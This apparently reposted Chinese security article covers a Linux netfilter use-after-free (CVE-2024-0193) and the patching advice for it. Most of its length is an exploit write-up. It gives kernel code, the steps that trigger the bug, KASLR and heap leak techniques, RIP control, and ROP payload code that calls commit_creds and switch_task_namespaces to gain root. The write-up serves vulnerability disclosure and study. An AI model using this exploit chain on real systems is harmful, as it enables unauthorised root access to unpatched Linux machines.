一名安全研究人员发布了针对Linux 内核中高危漏洞( CVE-2024-0193 ) 的概念验证 (PoC) 漏洞代码。netfilter 子系统中的这个释放后使用漏洞在 CVSS 评分中为7.8,可被本地攻击者利用来提升权限并执行任意代码,可能导致灾难性的内核崩溃。
Netfilter 是 Linux 内核中的核心框架,负责各种网络操作,包括数据包过滤和网络地址转换 (NAT)。CVE-2024-0193 的发现揭示了该子系统中的一个严重漏洞。经过身份验证的攻击者可以发送特制的请求来利用此漏洞,无需最初提升权限即可获得提升的访问级别。
Red Hat发布安全公告2024 年 1 月 2 日,揭示了威胁的技术细节。当“pipapo”集被删除时,“catchall”元素进行垃圾收集时,就会出现漏洞。这种情况导致元素被停用两次,从而触发释放后使用问题。受影响的元素可能是 NFT_CHAIN 对象或 NFT_OBJECT 对象。
具有 CAP_NET_ADMIN 权限的本地用户尤其容易受到攻击,因为他们可以利用此漏洞提升系统权限。后果十分严重:未经授权的访问、对系统进程的控制系统以及潜在的系统崩溃都是可能的结果。
技术细节和PoC 漏洞CVE-2024-0193 的漏洞已在 Github 上发布,安全专业人员和潜在恶意行为者可以了解和利用此漏洞。此公开发布强调了管理员解决此漏洞的紧迫性。
https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2024-0193_cos/exploit/cos-105-17412.226.52
敦促系统管理员应用各自 Linux 发行版发布的补丁和更新。Red Hat、Debian、SUSE 和 Ubuntu 都提供了建议和补丁来降低风险。确保系统保持最新状态对于防止潜在漏洞至关重要。
CVE-2024-0193触发漏洞
如果在移除 pipapo 集时对 catchall 元素进行 gc,则该元素可能会被停用两次。
当删除一个集合时,nft_map_deactivate会调用来停用集合元素的数据 。
static int nft_delset(const struct nft_ctx *ctx, struct nft_set *set)
{
int err;
err = nft_trans_set_add(ctx, NFT_MSG_DELSET, set);
if (err < 0)
return err;
if (set->flags & (NFT_SET_MAP | NFT_SET_OBJECT))
nft_map_deactivate(ctx, set); // [1]
nft_deactivate_next(ctx->net, set);
nft_use_dec(&ctx->table->use);
return err;
}
然后nft_set_commit_update在中调用nf_tables_commit,并调用pipapo集的commit函数。
static void nft_set_commit_update(struct list_head *set_update_list)
{
struct nft_set *set, *next;
list_for_each_entry_safe(set, next, set_update_list, pending_update) {
list_del_init(&set->pending_update);
if (!set->ops->commit)
continue;
set->ops->commit(set); // [2]
}
}
在 中nft_pipapo_commit,nft_trans_gc_catchall_sync被调用,并且nft_setelem_data_deactivate针对过期元素调用
struct nft_trans_gc *nft_trans_gc_catchall_sync(struct nft_trans_gc *gc)
{
struct nft_set_elem_catchall *catchall, *next;
const struct nft_set *set = gc->set;
struct nft_set_elem elem;
struct nft_set_ext *ext;
WARN_ON_ONCE(!lockdep_commit_lock_is_held(gc->net));
list_for_each_entry_safe(catchall, next, &set->catchall_list, list) {
ext = nft_set_elem_ext(set, catchall->elem);
if (!nft_set_elem_expired(ext))
continue;
gc = nft_trans_gc_queue_sync(gc, GFP_KERNEL);
if (!gc)
return NULL;
memset(&elem, 0, sizeof(elem));
elem.priv = catchall->elem;
nft_setelem_data_deactivate(gc->net, gc->set, &elem); // [3]
nft_setelem_catchall_destroy(catchall);
nft_trans_gc_elem_add(gc, elem.priv);
}
return gc;
}
nft_map_deactivate通过调用 [1]中的来停用此元素nft_delset,因此数据停用完成了两次。
我们可以按如下方式触发该漏洞:
-
創建一條鏈Victim。
-
創建一個pipapo集Vulnerable。
-
创建一个集合元素,其中Vulnerable包含引用的判决数据Victim。我们将元素的超时设置为 1。
-
制定一些规则来延迟。
-
删除Vulnerable。这会导致Victim引用计数为 -1。
KASLR绕过
KASLR 地址通过 泄露chain->name,该地址存储在立即数 expr( nft_immediate_expr.data.verdict) 的判定数据中。泄露过程如下:
-
创建两个链,Base和Victim。将Victim的名称设置为 9-16 个字节长,以便可以将其分配到kmalloc-cg-16。
-
Base在其中创建一个引用的立即数表达式Victim。
-
創建一個pipapo集Vulnerable。
-
创建一个集合元素,其中Vulnerable包含引用的判决数据Victim。我们将元素的超时设置为 1。
-
通过删除 来触发漏洞Vulnerable。这会导致 的Victim引用计数为 0。
-
廢除Victim。
-
喷射 last exprs( struct nft_expr) 将其放置在Victim的 处chain->name。此时 last expr( struct nft_expr) 的大小为 16 字节,因此 last exprs 分配在 中kmalloc-cg-16。
-
Base我们dump出using命令的立即数expr GETRULE,通过释放出来的值可以得到最后一个expr的操作数地址,chain->name从而得到内核基址。
int nft_verdict_dump(struct sk_buff *skb, int type, const struct nft_verdict *v)
{
struct nlattr *nest;
nest = nla_nest_start_noflag(skb, type);
if (!nest)
goto nla_put_failure;
if (nla_put_be32(skb, NFTA_VERDICT_CODE, htonl(v->code)))
goto nla_put_failure;
switch (v->code) {
case NFT_JUMP:
case NFT_GOTO:
if (nla_put_string(skb, NFTA_VERDICT_CHAIN,
v->chain->name)) // [4]
goto nla_put_failure;
}
nla_nest_end(skb, nest);
return 0;
nla_put_failure:
return -1;
}
堆地址泄漏
我们泄漏堆地址的方式与泄漏内核基址的方式相同。为了泄漏堆地址,我们喷射了nft_rule而不是 counter expr。我们将 放置nft_rule在 freed 中Victim并nft_chain->name 转储 的规则 Base。因此,我们可以nft_rule->list通过 的Victim读取存储在 中的堆地址。我们将nft_chain->name 的地址和 的地址通过创建 放入中。可以通过在 中添加多个 来调整的大小。由于使用字符串类型的数据进行泄漏,我们重复整个利用过程,直到堆地址不包含 null。kmalloc-cg-96list->nextkmalloc-cg-192list->prevnft_rulesnft_rulenft_exprsnft_rule
RIP 控制
我们用nft_chain->blob_gen_0 它来控制 RIP。在函数 nft_chain->blob_gen_0 中评估数据包时会用到。nft_do_chain
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
...
do_chain:
if (genbit)
blob = rcu_dereference(chain->blob_gen_1);
else
blob = rcu_dereference(chain->blob_gen_0); // [5]
rule = (struct nft_rule_dp *)blob->data;
last_rule = (void *)blob->data + blob->size;
next_rule:
regs.verdict.code = NFT_CONTINUE;
for (; rule < last_rule; rule = nft_rule_next(rule)) {
nft_rule_dp_for_each_expr(expr, last, rule) {
if (expr->ops == &nft_cmp_fast_ops)
nft_cmp_fast_eval(expr, ®s);
else if (expr->ops == &nft_cmp16_fast_ops)
nft_cmp16_fast_eval(expr, ®s);
else if (expr->ops == &nft_bitwise_fast_ops)
nft_bitwise_fast_eval(expr, ®s);
else if (expr->ops != &nft_payload_fast_ops ||
!nft_payload_fast_eval(expr, ®s, pkt))
expr_call_ops_eval(expr, ®s, pkt);
if (regs.verdict.code != NFT_CONTINUE)
break;
}
...
为此,我们分配chain->blob_gen_0并kmalloc-cg-32触发漏洞。chain->blob_gen_0在创建新链时分配nf_tables_chain_alloc_rules。在创建新链时chain->blob_gen_0 分配。nf_tables_chain_alloc_rules
static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask,
u8 policy, u32 flags,
struct netlink_ext_ack *extack)
{
...
data_size = offsetof(struct nft_rule_dp, data); /* last rule */
blob = nf_tables_chain_alloc_rules(data_size); // [6]
if (!blob) {
err = -ENOMEM;
goto err_destroy_chain;
}
使用的大小kvmalloc为 32,alloc
* sizeof(struct nft_rule *)
+ sizeof(struct nft_rules_old)
(1 * 8 + 24),该blob对象分配在kmalloc-cg-32。
static struct nft_rule **nf_tables_chain_alloc_rules(const struct nft_chain *chain,
unsigned int alloc)
{
if (alloc > INT_MAX)
return NULL;
alloc += 1; /* NULL, ends rules */
if (sizeof(struct nft_rule *) > INT_MAX / alloc)
return NULL;
alloc *= sizeof(struct nft_rule *);
alloc += sizeof(struct nft_rules_old);
return kvmalloc(alloc, GFP_KERNEL); // [7]
}
然后,我们对 进行喷射udata,struct nft_table并将其放置在 freed 中blob_gen_0。最后,在发送数据包时,引用喷射的假操作地址,从而实现 RIP 控制
static void expr_call_ops_eval(const struct nft_expr *expr,
struct nft_regs *regs,
struct nft_pktinfo *pkt)
{
#ifdef CONFIG_RETPOLINE
unsigned long e = (unsigned long)expr->ops->eval;
#define X(e, fun)
do { if ((e) == (unsigned long)(fun))
return fun(expr, regs, pkt); } while (0) // [8]
X(e, nft_payload_eval);
X(e, nft_cmp_eval);
X(e, nft_counter_eval);
X(e, nft_meta_get_eval);
X(e, nft_lookup_eval);
X(e, nft_range_eval);
X(e, nft_immediate_eval);
X(e, nft_byteorder_eval);
X(e, nft_dynset_eval);
X(e, nft_rt_get_eval);
X(e, nft_bitwise_eval);
#undef X
#endif /* CONFIG_RETPOLINE */
expr->ops->eval(expr, regs, pkt);
}
RIP POST
将下面的 ROP 有效载荷存储到上面泄露的kmalloc-cg-96和kmalloc-cg-192地址中,并执行它。在堆喷射期间创建规则时,的 ROP 有效载荷kmalloc-cg-192存储在。在释放堆喷射中使用的规则后,通过喷射存储nft_rule->data的 ROP 有效载荷。kmalloc-cg-96
nft_table->udata
void make_payload2(uint64_t* data){
int i = 0;
// find_task_by_vpid(1)
data[i++] = kbase + pop_rdi_ret;
data[i++] = 1;
data[i++] = kbase + find_task_by_vpid_off;
// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
data[i++] = kbase + mov_rdi_rax_ret;
data[i++] = 0;
data[i++] = kbase + pop_rsi_ret;
data[i++] = kbase + init_nsproxy_off;
data[i++] = kbase + switch_task_namespaces_off;
data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off;
data[i++] = 0; // rax
data[i++] = 0; // rdx
data[i++] = _user_rip; // user_rip
data[i++] = _user_cs; // user_cs
data[i++] = _user_rflags; // user_rflags
data[i++] = _user_sp; // user_sp
data[i++] = _user_ss; // user_ss
}
void make_payload(uint64_t* data){
int i = 0;
data[i++] = kbase + push_rbx_pop_rsp;
data[i++] = kbase + pop_r12_pop_r13_ret;
data[i++] = 0xffff | ((unsigned long) 0x8 << 44);
data[i++] = heap_addr2;
// commit_creds(&init_cred)
data[i++] = kbase + pop_rdi_ret;
data[i++] = kbase + init_cred_off;
data[i++] = kbase + commit_creds_off;
data[i++] = kbase + pop_rdi_ret;
data[i++] = 0;
data[i++] = kbase + pop_rsp_ret;
data[i++] = heap_addr1+0x20;
}
https://securityonline.info/poc-exploit-published-for-linux-kernel-privilege-escalation-flaw-cve-2024-0193/
https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2024-0193_cos/docs/exploit.md
原文始发于微信公众号(Ots安全):Linux 内核权限提升漏洞 (CVE-2024-0193) 的 PoC 漏洞利用已发布
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论